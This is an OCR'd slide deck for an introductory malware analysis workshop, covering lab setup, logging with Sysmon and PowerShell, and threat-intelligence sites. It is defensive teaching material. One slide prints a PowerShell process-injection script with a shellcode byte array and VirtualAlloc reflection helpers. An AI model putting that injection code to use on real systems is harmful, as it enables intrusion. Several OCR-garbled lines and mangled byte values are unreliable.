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This workshop was originally designed as an #person event with live demos. The slides have been put online
clo brpv ~° "bppA 41jb "I kgbkg jfdeg klg _b “1jmibghb
at least 1 meme.

All that said, this is the Introduction to Malware Analysis workshop. You will find links to all of the
ANl pmrkvikd tlohpelm fkc~ofbp ~ka abjlp fk iraba f
reading this, you might even see the writaups for each workshop sample.



Overview

5efp tlohpelm fp ~k fkqolar qgflk ql jJ2~1t~ob ~k”*ivpf
content today, and all materials will be published online at my blog and my GitHub. Roughly, our schedule
looks like this:

Introduction

Lab Configuration
Threat Intelligence
Static Analysis
Break!

Reverse Engineering
Dynamic Analysis
Workshops
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This is an introduction to malware analysis, so we will primarily be focusing on static and dynamic analysis. We
will touch on reverse engineering and debugging, but the handsn content is designed to be completed
without needing a debugger. Feel free to use advanced tools if you have the expertise.



One Last Thing

A All of the samples are custommade for demonstration purposes only
As5efp jbrkp gqebv tl k@qg _of > h vliro absf > b fc vlir ~° fabk

A However, they do use real malware techniques taken from real samples and threats
A5efp jbrkp %Wbcbkabo tfii gefkh gqebv@ii _of h viro absf

A All analyses should be run in a sandbox VM if you have one available to you

A 1f you do not, we will cover creating a Defender exclusion zone

A Please ensure that you remove this exclusion zone after this workshop!
A Some of the samples will make changes to your device if you execute them
A These are not malicious changes, and the changes are easily reversible if you accidentally execute a binary

A The last sample is special and will attempt to drop a reverse shell on your device if you execute it
A Please take caution with the last sample



What iIs Malware?

A Malware is a term used to describe any form of
malicious software

A Often, the goal of a malware sample is to steal
credentials or data, gain unauthorized access to
systems, extort money through ransoming data, or
explicitly cause harm through destructive means

A Most malware stems from opportunistic actors who

attempt to steal credentials or other data to sell on
dark net forums or other spaces

A Infostealers and Credential Harvesters

r Types of Malware © PMF IAS
VIRUS WORM : G
+ Viruses attach themselves . Programs that replicate & spread - : J :‘
: to the legitimate programs across a network independently. P I
and replicate when the . Don’t need to attach to files, unlike <
= infected programs runs. viruses.

+ Eg. Stuxnet (2010) . E.g. Conficker (2008)

TROJAN HORSE SPYWARE
« Disguises themselvesas .« Secretly monitors user
h legitimate software. activities, capturing
L + Once inside a system, keystrokes, browsing habits,
+ they create a backdoor and personal information.
for attackers « E.g. Pegasus
+ E.g. Zeus
RANSOMWARE ADWARE
» Encrypts files on a victim’s « Adware displays unwanted
system and demands a advertisements on a user’s
ransom for decryption computer, often in the
keys. form of pop-up ads.
« Eg. AKIRA « E.g. Superfish
| ROOTKITS [:] somers
= 4
« Are designed to conceal S Netwarks ofinfactad « Records keystrokes ona
malicious software and computers controlled computer to capture
processes. remotely by a single entity. sensitive information like
« Operates stealthily within a « E.g. Mariposa passwords, credit card
compromised system. numbers, and personal data.
- E.g. Sony BMG Rootkit (2005) © PMrF IAS - E.g. DarkTequila

PMF IAS (https://www.pmfias.com/akiraransomware-malware/)



What is Malware Analysis?

A Malware Analysis is the process of analyzing a given Static Dynamic Reverse
sample to determine its capabilities, origin, TTPs Analysis Analysis Engineering
(Tactics, Technigues, Procedures), and other

pertinent information A Binaryisnot A Binaryis A Binary is
A5ebob “~ob geobb jAfk Ualj~" executed executed Decompiled or
Analysis A Metadata A Debugging Disassembled
A Static Analysis A File Headers Tools A Manual
A Dynamic Analysis A Hashes A API Calls Processing
T A Code A Networking A Assembly
A Reverse Engineering Analysis Data Analysis
A For most security roles, being familiar with Static A Importsand A Process A
and Dynamic Analysis is good enough Exports Monitoring
A Professional Malware Analysts will want to dive into A Strings A System
Reverse Engineering A Indicators of Monitoring
Compromise

(10Cs)


https://malwareunicorn.org/workshops/re101.html#0
https://malwareunicorn.org/workshops/re101.html#0
https://malwareunicorn.org/workshops/re101.html#0
https://malwareunicorn.org/workshops/re101.html#0
https://malwareunicorn.org/workshops/re101.html#0

What about Threat Intelligence?

Subtypes of Threat Intelligence

High-level
information on
changing risk

Long-term Use

Details of a specific

incoming attack

Short-term / Immediate Use

Source: MWR InfoSecurity; “Threat Intelligence: Collecting, Analysing, Evaluating”; hitpsywww.foo.be/dacsdnformations-s

Threat-intelligence-Whitepoper pdf

K Logix Security{ttps://www.klogixsecurity.com/blog/2023 -threat-landscape-ransomware)

Attacker
methodologies,
tools and tactics

Indicators of
specific malware

aring/-

A Threat Intelligence is actionable knowledge
about threats

A This includes TTPs, attacker motives, targets,
and other data

A Malware Analysis uses Threat Intelligence to
understand and identify existing threats,
identify samples and malware families, and
create actionable CTI (Cyber Threat
Intelligence) for Threat Hunting

A An analysis is not complete until actionable CTI
has been generated

A This may be YARA rules for sharing, writeps of
TTPs, or simply a list of IOCs to search for


https://www.klogixsecurity.com/blog/2023-threat-landscape-ransomware
https://www.klogixsecurity.com/blog/2023-threat-landscape-ransomware
https://www.klogixsecurity.com/blog/2023-threat-landscape-ransomware
https://www.klogixsecurity.com/blog/2023-threat-landscape-ransomware
https://www.klogixsecurity.com/blog/2023-threat-landscape-ransomware
https://www.klogixsecurity.com/blog/2023-threat-landscape-ransomware
https://www.klogixsecurity.com/blog/2023-threat-landscape-ransomware

Lab
Configuration



|_ab Overview DO YOU/WANT TOBUILD

A Virtual Machine ~ Q‘

A 1deally, set up on a segmented device/host
A Local VMs are fine for most analysis

g
A MALWARE ANALYSIS LAB

A Windows 10 or 11 Pro L
A Pro gives more control over the operating system than Home or Education
A Flare

A Use the Flare VM installation scripthitps:/github.com/mandiant/flare -vm

A Disable Defender or create exclusion zones

A To use Flare, you must fully disable Defendeihttps://superuser.com/questions/1757339/how -to-permanently-disable-windows-
defender-real-time-protection -with-gpo/1757341#1757341

A Fornon' i "ob 7.p% I kpfabo “ob~2rqfkd bu irpflk wlkbp pl %bcbkabo

A Set up advanced logging
A Sysmon
A PowerShell script block and module logging

a


https://github.com/mandiant/flare-vm
https://github.com/mandiant/flare-vm
https://github.com/mandiant/flare-vm
https://superuser.com/questions/1757339/how-to-permanently-disable-windows-defender-real-time-protection-with-gpo/1757341#1757341
https://superuser.com/questions/1757339/how-to-permanently-disable-windows-defender-real-time-protection-with-gpo/1757341#1757341
https://superuser.com/questions/1757339/how-to-permanently-disable-windows-defender-real-time-protection-with-gpo/1757341#1757341
https://superuser.com/questions/1757339/how-to-permanently-disable-windows-defender-real-time-protection-with-gpo/1757341#1757341
https://superuser.com/questions/1757339/how-to-permanently-disable-windows-defender-real-time-protection-with-gpo/1757341#1757341
https://superuser.com/questions/1757339/how-to-permanently-disable-windows-defender-real-time-protection-with-gpo/1757341#1757341
https://superuser.com/questions/1757339/how-to-permanently-disable-windows-defender-real-time-protection-with-gpo/1757341#1757341
https://superuser.com/questions/1757339/how-to-permanently-disable-windows-defender-real-time-protection-with-gpo/1757341#1757341
https://superuser.com/questions/1757339/how-to-permanently-disable-windows-defender-real-time-protection-with-gpo/1757341#1757341
https://superuser.com/questions/1757339/how-to-permanently-disable-windows-defender-real-time-protection-with-gpo/1757341#1757341
https://superuser.com/questions/1757339/how-to-permanently-disable-windows-defender-real-time-protection-with-gpo/1757341#1757341
https://superuser.com/questions/1757339/how-to-permanently-disable-windows-defender-real-time-protection-with-gpo/1757341#1757341
https://superuser.com/questions/1757339/how-to-permanently-disable-windows-defender-real-time-protection-with-gpo/1757341#1757341
https://superuser.com/questions/1757339/how-to-permanently-disable-windows-defender-real-time-protection-with-gpo/1757341#1757341
https://superuser.com/questions/1757339/how-to-permanently-disable-windows-defender-real-time-protection-with-gpo/1757341#1757341
https://superuser.com/questions/1757339/how-to-permanently-disable-windows-defender-real-time-protection-with-gpo/1757341#1757341
https://superuser.com/questions/1757339/how-to-permanently-disable-windows-defender-real-time-protection-with-gpo/1757341#1757341
https://superuser.com/questions/1757339/how-to-permanently-disable-windows-defender-real-time-protection-with-gpo/1757341#1757341
https://superuser.com/questions/1757339/how-to-permanently-disable-windows-defender-real-time-protection-with-gpo/1757341#1757341
https://superuser.com/questions/1757339/how-to-permanently-disable-windows-defender-real-time-protection-with-gpo/1757341#1757341
https://superuser.com/questions/1757339/how-to-permanently-disable-windows-defender-real-time-protection-with-gpo/1757341#1757341

Lab Overview: Defender Exclusions

Windows Security

O Virus & threat protection

Protection for your device against threats.

|© & Current threats

jo Mo current threats.
Last scan: Not available

9
Quick scan

8

Scan options
= P

Allowed threats
& i

Protection history
dh

% Virus & threat protection settings

Mo action needed.

Manage settings

@ <& Virus & threat protection updates

Windows Security

Protect files, folders, and memory areas on your device from unauthorized
changes by unfriendly applications.

Manage Controlled folder access

Exclusions

Microsoft Defender Antivirus won't scan items that you've excluded.
Excluded items could contain threats that make your device vulnerable.

Add or remove exclusions

Notifications

Microsoft Defender Antivirus will send notifications with critical
information about the health and security of your device. You can specify
which non-critical notifications you would like.

Change notification settings

Have a question?

Get help

Help improve Windows Security

Windows Security

e
Exclusions
Add or remove items that you want to exclude from Microsoft Defender
Antivirus scans.
|O
R
+  Add an exclusion
JE)
File
=
Folder
Have a
=1 )
Get helg A& Ere
2 Process
& Help improve Windows Security
Give us feedback
Change your privacy settings
View and change privacy settings
for your Windows 10 device.
& Privacy settings

Privacy dashboard




Windows 10 and later x64...
Close Tab

Lab Overview: Networking

Removable Devices

Pause

o Send Ctrl+Alt+Del
Grab Input

T Snapshot

A Most of the time, you will not need to isolate Capture Screen

your VM &2 Manage

Install Viiware Teols...

Wirtual Machine Settings

A)ltbsbo% fgdp dlla mo:

Hardware Qptions

isolated when networking is not needed - p— Devicestous
E=IMemory acB I:I Connected
A The easiest way to do this is to remove the = oo ;—Lck“z "
VI rtU al n etWO rk ad apte r frO m th e m aC h I n e I'?; E:;i:?k f:;r;tlr ﬂ:fwlwl (O Bridged: Connected directly to the physical network
[<]usB Controller Present Replicate physical network connection state
A You can also create a private virtual network B — O NAT: Use to s the hosts I acress
. . . . [_Ipispla Auto detect {JHost-only: A private network shared with the host
and rOUte a.” trafflc th rOUg h I NGtSlm Or SI m Ilar " ] Cusb:lrn:YSpen:ﬁc wirtual network
tOOIS VMnetd

(T LAM segment:

LAM Segments..,  Advanced...



Lab Overview: Logging

A Logging is critical when analyzing malware

A The more log sources available, the better

Event 4103, PowerShell (Microsoft-Windows-PowerShell)

General  Details

Commandinvocation(Remove-ltemProperty): "Remove-ltemProperty”

ParameterBinding(Remove-ltemProperty): name="Path"; value="registry:hku\*\Software\Microsoft\Windows\ CurrentVersion\ run\"
ParameterBinding(Remove-ltemProperty): name="MName"; value="GoogleChromeAutoLaunch_*"
ParameterBinding(Remove-ltemProperty): name="Force"; value="True"

Context:
Severity = Informational
Hest Mame = ConseleHost
Hest Version = 5.1.19041.1237
Host ID = 8deb57cf-02f3-422-860f-a20f0b452893
Host Application = powershell
Engine Version = 5.1.19041.1237
Runspace |D = 6a536764-853¢c-43c5-b385-467d5790fd2d
Pipeline ID = 8
Command Name = Remove-ltemProperty
Command Type = Cmadlet

Script Mame =

Ewvent 1, Sysmon
Command Path =

192.168.8.17
136.51.23.148

A Types of logging commonly usedmsms

3.516718

12

A PowerShell logging

A Process logging 15 4.057041
A Network logging
A API logging

A Some logging types are persistent, some
require special software to run concurrently

136.51.23.148 TCP

General  Details

Process Create:

RuleMame: -

UtcTime: 2026-01-03 01:30:10.802

ProcessGuid: {ffa636cf-7122-6958-246e-000000001100}

Processld: 1392

Image: ChUsers\Admin\Downloads\re_launcher_80.exe
FileVersion: -

Description: -

Product: -

Company: -

OriginalFileName: -

CommandLine: "C\Users\Admin\Downloads\rc_launcher_80.exe"
CurrentDirectory: C\Users\Admin'Downloads\

User: DESKTOP-R301LQ\AdmIin

LegenGuid: {ffab36cf-adfc-693d-9bb3-110000000000}

Logonld: 0x11B598

TerminalSessionld: 1

IntegrityLevel: Medium

Hashes: SHA256=D4A483C927128A766080579E25670603280042718910FECA3BA3537BFI3994DC
ParentProcessGuid: {ffa636cf-a3fd-693d-7b00-000000001100}

Wlth the Sample 200 T3617.074PM 1 rc_launcher_80.exe
201 T:38:17.074 PM 1 KERMELBASE.dII
202 7:36:17.074 PM 1 KERMELBASE. dll
203 T:36017.074 PM 1 KERMELBASE.dII
204 7:36:17.074 PM 1 rc_launcher_80.exe
205 T:3&:17.074 PM 1 rc_launcher_80.exe UCCESS )
206 T:36:17.074 PM 1 KERMEL32.DLL
207 T:36:17.090 PM 1 rc_launcher_80.exe
208 T:36:17.090 PM 1 KERMELBASE.dII

SUsers\Admin\Downloads'\coolmathgames.exe” )

rror ( ERROR_SUCCESS )
N TCAUsers\AdmintDownloads\coolmathgames.exe”, 512, 0xD000004faeeff2b0, |

lame_UEx [ "C\Users'Admin\Downloads\coolmathgames.exe®, 1024, "+, . ]

fithstatus [ "ChlUserstAdminiDownloads\coolmathgames,exe’, ), . ]

: ]




Lab Overview: Script Block & Module Logging

'=[ Local Group Policy Editor
File Action View Help

= H5m = H

*

| RSS Feeds

| Search

| Security Center
Shutdown Options

| Smart Card

Software Protection Platfc
Sound Recorder

Speech

| Store

| Syncyour settings

| Tablet PC

| Task Scheduler

| Text Input

| Windows Calendar

-| Windows Color System

“| Windows Customer Exper
“| Windows Defender Smart
- Windows Error Reporting
" Windows Game Recordini
| Windows Hello for Busine
| Windows Ink Workspace
| Windows Installer

| Windows Logon Options
“| Windows Media Digital Ri
-| Windows Media Player

-| Windows Messenger

“| Windows Mobility Center
| Windows PowerShell

“| Windows Reliability Analy
“| Windows Remote Manag:
| Windows Remote Shell

“| Windows Security

-| Windows Update

| Work Folders

Windows PowerShell

Select an item to view its description,

Setting

State

=] Turn on Module Legging
|==| Turn on PowerShell Script Block Logging

Not configured
Mot configured

|i=| Turn on Script Execution
|| Turn on PowerShell Transcription
| Set the default source path for Update-Help

Mot configured
Mot configured
Mot configured

Com

[

[

I

LY
EE] Tum on Module Logging
) Mot Configured  Comment:

Enabled

Disabled
Supported on:

Next Setting

At least Microsoft Windows 7 or Windows Server 2008 famaly

Wildeards are supported.

Module Names Show...

Microso werShell.*

Microsoft WSMan.Management

\ Extended /( Standard

n on logging for one or more modules, click Show, and then

To turn on Icﬁ ng for the Windows PowerShell core modules, ty

e the module names in the list

e the following module names in the list:

This policy setting allows you to tum on lagging for Windows PowerShell madules,

If you enable this policy setting, pipeline execution events for members of the specified modules are recorded in the Windows
PowerShell log in Event Viewer, Enabling this policy setting for a medule is equivalent to setting the LogPipelineExecutionDetails property of
the maodule to Tue.

If you disable this pelicy setting, logging of execution events is disabled for all Windaws PowerShell modules. Disabling this policy
setting for a module is equivalent to setting the LogPipelineExecutionDetails property of the module to False

If thiz policy setting is not configured, the LogPipelinefxecutionDetasls property of & madule or snap-in detérmines whether the
execution events of s module or snap-in are logged. By default, the LogPipelineExecutionDetails property of all modules snd snap-ins is set
to False.

To add modules and snap-ins to the policy setting list, click Show, and then type the module names in the list. The modules and snap-
in in the list must be installed on the computer.

Note: This policy setting exists under both Computer Configuration and User Configuration in the Group Polic
Configuration policy setting takes precedence over the User Configuration policy setting.

itor. The Computer




Lab Overview: Script Block & Module Logging

x

Event 4104, PowerShell (Microsoft-Windows-PowerShell)

General Details

Creating Scriptblock text (1 of 1):
# Process Injection example in PowerShell
# Based on content from Guloader analysis: hitps://

Set-StrictMode -Version 2.0

# Calc shellcode taken from PowerSploit Invoke-Shellcode

[Byte[]] $Shellcodetd = @(Dxfc, 0x48, 0% 83, Ox 4, xf0, Ox eB, O, 0x 00, 0x 00, 000, 0x41,0x 51, 041, 0 50,0 52, 051,
O 56,0048, 0031, O d2, 0565, 048, O Bb, O 52,0560, 05c48, O Bl (he 52, 0 18, 048, 0 8b, (e 52,
0 20, 0548, 058, 05 72, 05 50, 0 48, 0 0F, 0x b 7, x4, e 4, Daedbel, 0 31,0 €9, 048, 0% 31, e,
Oxac,Ox3c, 061,007, 0x 02, 0x 2, O 20,047, O 1, O3 €9, 0oe0dl, O 41, 001, O 1,02, Oreed,
Ox 52,051,057, 048, 0xc B, O 52, 0320, 08, 042, Ore 3, 048, 0 01, O 0, O B, 080, (e B8,
0x 00,000,000, 0x48,0x 85, 0 <0, 0 74, 0 67, 048, 001, Cae 0, 0 50, 0 8, 048, 0 18, 0x 44,
O Bb, 040, 0 20, 049, 0507, O o0, O3, O 56, Onc 48, Oneff, O 9, Oned 1, OB, O 34, 088, D 48,
0x01, 05, OxAd, 037, 0 c9,0x048, 0231, 0 0, Oca, (e, D1, 009, 00, 01, 001, D1,
0x 38, OxeD, 075, 0xF1, Oedc, 0 03, O, Ox 24, 0x 08, 045, 0% 39, Oed 1, 0% 75, 0x 8, 0 58,044,
O Bb, (40, O 24, 0349, 0501, Ooe o), 066, D41, One Bl e O, e 48, 044, O Bby, 040, O 1, e 49,
0x01, 05, 041,08l 004, 088, 0248, 0w 01, 0o 0, 041,058, (41, 0 58, 0 S, 0 59, D 5,
Ox 41,0558, 0oed 1, 0% 59, 041, O 5, 048, 0 83, Oxc e, e 20, Coeh 1, O 52, D, O e, 0 538, O 41,
0 59, 0n 5, 0nc8, O 8lo, 0ne 1.2, 0 &, O 57, OnefF, Ouef, OoeF, O 5, D48, O b, One 01, 050 00, 02 00,
0x 00,05 00,0500, 0x00,0x 00, 0x48, 0 8d, 0x8d, 001,001,000, 0: 00, 0x 41, O ba, 0% 31, 0x B,
O 6, 087, D ff, O d5, O b, O 0, O 1dl, Ox 2, O 0a, G4 1, Ox ba, Oxcafs, 0% 95, Oxbd, 0 9d, Ox ff,
Oxd3, 048, 0% 83, Ooccd, 0228, O 3¢, 006, e 7 c, O 02, 080, O b, O €0, 0 75, (e 05, D b, O 47,
013,072, 0xc6f, Oxc 6, 05 00, D¢ 59, 041, 0 89, Ox da, OneFF, D d 5, 063, 0x 61, 0x B, 063, 0% 00)

# Get process memory address

function GetProcAddress (SEmbeddedObjectirgs, $ObjectArgs)

$Global:UnsafeMativeMethads = ([AppDomain]:CurrentDomain. GetAssemblies() | Where-Object { §_.GlobalAssemblyCache -And §_Lacation.Split("\")[-1].Equals("System.d|l") ]).GetType("Microsoft.Win32.UnsafeNativeMethods")

5Global:ProcessAddress = SUnsafeMativeMethods.GetMethod("GetProcAddress”, [Type[]] @ ({Mew-Object System.Runtime.InteropServices,.HandleRef).GetType(), [string]))

return SProcessAddress.Invoke(Snull, @([System.Runtime.InteropServices.HandleRef](New-Object System.Runtime.InteropServices.HandleRef((Mew-Object IntPtr), (SUnsafeMativeMethods.GetMethod( GetModuleHandle')).Invoke(Snull, @(SEmbeddedObjectArgs)))), $ObjectArgs))

}

# PowerShell Reflection assembly lets you access private members of NET types
function Reflection ([Parameter(Position = 0)] [type[]] SConstructorArgs, [Parameter(Position = 1)] [type] SReturnType = [Void]){
Sglobal:DefinedAssembly = [AppDomain]:CurrentDomain.DefineDynamicAssembly({(New-Object System.Reflection.AssemblyMame("ReflectedDelegate")), [System.Reflection.Emit. AssemblyBuilderAccess]::Run). DefineDynamicModule("InMemoryModule", Sfalse) DefineType("MyDelegateType", @("Class", "Public”, "Sealed”,
"AnsiClass”, "AutoClass"), [System.MulticastDelegate])
SDefinedAssembly.DefineConstructor(@("RTSpecialMame", "HideBySig", "Public"), [Systern.Reflection. CallingCenventions]::Standard, SConstructorArgs).SetlmplementationFlags(@("Runtime", "Managed"))
SDefinedAssembly.DefineMethod("Invoke”, @("Public”, "HideBySig", "NewSlot", "Virtual"), SReturnType, SConstructorirgs).SetimplementationFlags(@("Runtime”, "Managed"))
return SDefinedAssemnbly. CreateType()
i

# Pointer to process memory
$Global:Kernel32Pointer = [System.Runtime.InteropServices.Marshal]:GetDelegateForFunctionPeinter((GetProcAddress kernel32.dIl VirtualAllec), (Reflection @{[IntPtr], [UInt32], [UInt32], [UInt32]) ([IntPtr]})} w

Log Name: Microsoft-Windows-PowerShell/Operational

Source: PowerShell (Microsoft-Wind Logged: 1/2/2026 7:45:22 PM

Event ID: 4104 Task Category: Execute a Remote Command
Level: Warning Keywords: None

User: DESKTOP-R301LCAAdmin  Computer: DESKTOP-R30J1LQ

OpCode: On create calls

More Information:  Event Log Online Help



Lab Overview: Sysmon

System Monitor v15.12 - System activity monitor

By Mark Russinovich and Thomas Garnier

Copyright (C) 2014-2023 Microsoft Corporation

Using libxml2. libxml2 is Copyright (C) 1998-2012 Daniel Veillard. All Rights Reserved.

A Sysmon or System Monitor is a tool that
enriches and enhances Windows

logging

A Sysmon is a musthave when
performing dynamic analysis

A Sysmon supports numerous events,
from process creation logging to
network connection logging

A Sysmon also has an extensive
configuration system for fine tuning
logging operations

A*q@p ~ipl A~Asofinr |

Sysinternals — www.sysinternals.

Usage:

Install: Sysmon.
Update configuration: Sysmon.
Install event manifest: Sysmon.
Print schema: Sysmon .
Uninstall: Sysmon.

com

exe
exe
exe
exe
exe

i [<configfile=]
[<configfile>]

-u [force]

Update configuration of an installed Sysmon driver or dump the
current configuration if no other arqument is provided. Optionally
take a configuration file.
Install service and driver. Optionally take a configuration file.
Install the event manifest (done on service install as well)).

Print configuration schema definition of the specified version.
Specify 'all' to dump all schema versions (default is latest)).
Uninstall service and driver. Adding force causes uninstall to proceed
even when some components are not installed.

The service logs events immediately and the driver installs as a boot-start driver to capture activity from early in
the boot that the service will write to the event log when it starts.

On Vista and higher, events are stored in "Applications and Services Logs/Microsoft/Windows/Sysmon/Operational”. On
older systems, events are written to the System event log.

Use the '-? config' command for configuration file documentation. More examples are available on the Sysinternals

website.

Specify —accepteula to automatically accept the EULA on installation, otherwise you will be interactively prompted to

accept it.
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Lab Overview: Sysmon

Tag
ProcessCreate
FileCreateTime
NetworkConnect
ProcessTerminate
DriverLoad
Imageload
CreateRemoteThread
RawlAccessRead
ProcessAccess
FileCreate
RegistryEvent
RegistryEvent
RegistryEvent
FileCreateStreamHash
PipeEvent

PipeEvent

WmiEvent

WmiEvent

WmiEvent

DnsQuery

FileDelete
ClipboardChange
ProcessTampering
FileDeleteDetected
FileBlockExecutable
FileBlockShredding

Event

Process Create

File creation time changed
Network connection detected
Process terminated

Driver loaded

Image loaded

CreateRemoteThread detected
RawAccessRead detected

Process accessed

File created

Registry object added or deleted
Registry value set

Registry object renamed

File stream created

Pipe Created

Pipe Connected

WmiEventFilter activity detected
WmiEventConsumer activity detected
bWimiEventConsumerToFilter activity
Dns guery

File Delete archived

Clipboard changed

Process Tampering

File Delete logged

File Block Executable

File Block Shredding

FileExecutableDetected File Executable Detected

» name="" groupRelation="or"

i HHHHHHHHOD

Time onmatch="include"
= name="T1899" condition="begin wi
ilename name="T1899" condition=
2 name="T1899" condition="begin witl

name="" groupRelation="or"
ateTime onmatch="exclude”
= condition="image" >OneDrive.exe</Image
= condition="image" >C:\Windows\system32\backgroundTaskHost.exe</Image
= condition="contains">setup</Image
= condition="contains”>install
= condition="contains">Update\< /I
e condition="end with">redist.exe
= condition="is">msiexec.exe</Image
"»TrustedInstaller.exe</Image

ilename condition="contains">\NVIDIA\NvBackend\ApplicationOntology\

https://github.com/SwiftOnSecurity/sysmon -config/blob/master/sysmonconfig -export.xml



https://github.com/SwiftOnSecurity/sysmon-config/blob/master/sysmonconfig-export.xml
https://github.com/SwiftOnSecurity/sysmon-config/blob/master/sysmonconfig-export.xml
https://github.com/SwiftOnSecurity/sysmon-config/blob/master/sysmonconfig-export.xml
https://github.com/SwiftOnSecurity/sysmon-config/blob/master/sysmonconfig-export.xml
https://github.com/SwiftOnSecurity/sysmon-config/blob/master/sysmonconfig-export.xml

Threat
Intelligence



Threat Intelligence

A Often, the purpose of malware analysis is to generate shareable threat intelligence WHAT (’NES PE'OPLE
A This typically is in the form of Indicators of Compromise (IOCs) and adversary Tactics, FEY_\JNCS OF PO\,JER

Threats, and Procedures (TTPSs)

A Other types of threat intelligence for malware analysis are threat detection rules like YARZ
SIGMA, or writeups and reports MONEY
A Threat intelligence is also useful when performing analysis STATUS 71
A Many commonly seen samples and malware families are well studied, and published MARKING
threat intelligence can speed up analysis HE'BRIEFINE
A The main tools used for sharing public threat intelligence related to malware are: [ISRE '
A VirusTotal
A URLQuery

A Public sandboxes (JoeSandbox Tria.ge,etc)



Threat Intelligence: VirusTotal

A VirusTotal is a public platform for file and threat analysis

A All uploads to VirusTotal are public
A In some instances, you may not want to make it known that you are analyzing or have identified a certain sample
A Some organizations may also have policies restricting the upload of samples found in enterprise environments

A VirusTotal uses multiple security vendors to scan files for malware and malicious behaviors

A These scans include hash and file reputation, network analysis, behavioral analysis, and analysis of related
files, contacted domains, and IPs

A VirusTotal also has a robust community that often adds notes to common samples

A There is also a builtin threat mapping system
A This uses API calls and is limited for fredier users



Threat Intelligen

31.184.194.114_sample.bin

perl

DETECTION DETAILS RELATIONS BEHAVIOR COMMUNITY (9

C Reanalyze = Similar «/

26.93K8

Join our Community and enjoy additional community insights and crowdsourced detections, plus an AP key to automate checks,

Popular threat label Threat categories  trojan

-
D

Security vendors' analysis G

AhnLab-V3

Avast

Avira (no cloud)

BitDefender

(423

GData

Huorong

Kaspersky

Lionic

NANO-Anti

Sangfor Engine Zero

Sophos

Tencent

TrendMicro

Family labels perl  shellbot

AliCloud

Arcabit

AVG

Baidu

ClamAv

Cynet

Emsisoft

ESET-NOD32

Google

Ikarus

Kingsoft

Microsoft

QuickHeal

Skyhigh (SWG)

Symantec

Trellix ENS

TrendMicro-HouseCall

ce: VirusTotal Overview

More

oot 0

irchot

Do you want to automate checks?




Threat Intelligence: VirusTotal Comments

Voting details (1) ©
_‘_J‘_ NeikiAnalytics

2 years ago

Comments (8)

@ tines_bot
= 6&monthsago

This file was found in Malshare and can be downloaded from here: https://malshare.com/sample.php?action=detail&hash=e53cf00cf16d5e645103a266959ce5b7

For more information, or to report interesting/incorrect findings, contact us - bot@tines.io

) 44 NeikiAnalytics

= 2yearsago

#Malware

Filename: 0fb9eb96a08f9ad3400f89749d32f3e44362346ecTfcadbd5e9bads022e5ebclsh

File Type: unix shell

First Seen: November 24, 2023

Kaspersky has seen this file 100 times.
__https:/fopentip.kaspersky.com/0fb9eb96a08f9ad3400f89749d32f3e44362346ecTfca9bd5e9ba85022e5ebel

Detections
+ Backdoor.Perl.Shellbot.au (Static)
« HEUR:Backdoor.Perl.IRCBot.mr (Static)

Show more




Threat Intelligence: VirusTotal Detalils

Basic properties 0

MD5 e53cf00cf16d5e645103a266959ce5b7

SHA-1 d145edc39d2b5ab2392a989734ef28afT7f74fTe

SHA-256 0fb9eb96a08f9ad3400f89749d32f3e44362346ecTfca9bd5e9bad5022e5ebcl

SSDEEP 192:phe970GORIRQ4CR1ydi5DAomxCdsjnbP19+9Uc3gHNgWWI1kSNPWWOwnENFICSo4M:iWBLZCRwdkzzs TITtE1dIfICSoTx9k2
TLSH T117C2948A19478A12A3BTF3T69BESA41DFB5B82ET47044B187TDECB19A6FT0034D1F4FC8

File type Perl soure  per

Magic Perl script text executable

TriD Unix-like shebang (var.1) (gen) (50%) | Perlscript(28.5%) | Unix-like shebang (var.3} (gen) (21.4%)

Magika PERL

File size 26.93 KB (27577 bytes)

History ©

First Seen In The Wild 2023-11-2512:11:42 UTC
First Submission 2023-11-25 09:53:34 UTC
Last Submission 2025-10-17 00:49:55 UTC
Last Analysis 2025-11-28 17:42:57T UTC

Names ©

31.184.194.114_sample.bin

404

0fb9ebS96a08f9ad3400f89749d32f3e44362346ecTica9bd5e9baBs022e5ebcl.sh
0fb9eb96a08f9ad3400f89749d32f3e44362346ecTfca9bd5e9bas5022e5ebel.unknown
404.pl

1.html




Threat Intelligence: VirusTotal Relations

Contacted URLs (2) ©

Scanned Detections URL

2025-12-16 /98 http://crt.sectigo.com/SectigoPublicCodeSigningCAR36.crt

2025-12-16 ) /98 http://crt.sectigo.com/SectigoPublicCodeSigningRootR46.pTc

Contacted Domains (7) ©

Domain Detections Created Registrar
api.apple-cloudkit.com ) /95 2015-01-29 NOM-IQ Ltd dba Com Laude
apps.mzstatic.com ) /95 2010-07-12 NOM-IQ Ltd dba Com Laude
crt.sectigo.com ) [95 2018-08-16 CSC Corporate Domains, Inc.
mask-api.fe.apple-dns.net ) /95 2014-05-28 NOM-IQ Ltd dba Com Laude
mask-api.icloud.com ) /95 1999-01-15 NOM-IQ Ltd dba Com Laude
pubingress-feedback-1a6fe9caff1148fe.elb.us-west-2.amazonaws.com 0 /95 2005-08-18 MarkMonitor Inc.
sectigo.com ) 95 2018-08-16 CSC Corporate Domains, Inc.

Contacted IP addresses (35) ©

1P Detections Autonomous System Country
100.22.10.168 ) {95 16509 us
104.76.210.15 0 /95 20940 us
104.76.210.18 i 20940 us
104.76.210.28 /95 20940 us
104.76.210.79 ) /95 20940 us
104.76.210.80 ) {95 20940 us
17.248.193.19 0 /95 T14 us
17.248.195.67 i 714 us
17.248.195.74 /95 T14 us
17.248.200.68 ) /95 T14 us

Dropped Files (2) ©

Scanned Detections File type Name
~  2025-12-16 ) [ 62 XML RemoteConfiguration.plist

w  2025-12-17 ) /62 JSON silhouette_data




Threat Intelligence: VirusTotal Behaviors

tivity Summary Download Artifacts Full Reports

IDS Rules & Sigma Rules Dropped Files + Network comms

Detections Mitre Signatures
1JAVASCRIPT 1XML 1CAB 2HTTP 6DNS 331P 3JA3

1 MALWARE 2L0w Y 12INFO P RY 1 MEDIUM ] 5Low NOT FOUND

Behavior Tags
-debug- onment i
Dynamic Analysis Sandbox Detections

The sandbox Yomi Hunter flags this file as: MALWARE

MITRE ATT&CK Tactics and Techniques

Execution Persistence Privilege Escalation Defense Evasion

Command and Scripting Inte...

Boot or Logon Autostart Execu... Boot or Logon Autostart Execu... v Scripting

Scripting

Shared Modules




Threat Intelligence: URL Query

Report Overview

Visited | public

2025-12-19 20:08:40

A URL Query is a threat detection andjj

Sharlng platform S|m|lar to u+.<.paying—ba.vip/index.html
VirusTotal e o

A It focuses on domain and IP
analysis, specifically for websites
and web apps

urlquery | 2

A URL Query will grab a snapshot of
a domain and pass it through
several analysis steps to identify  GESELIIE )
malicious behavior

uk.paying-ba.vip AN

A URL Query also passes domains
through several weltknown threat
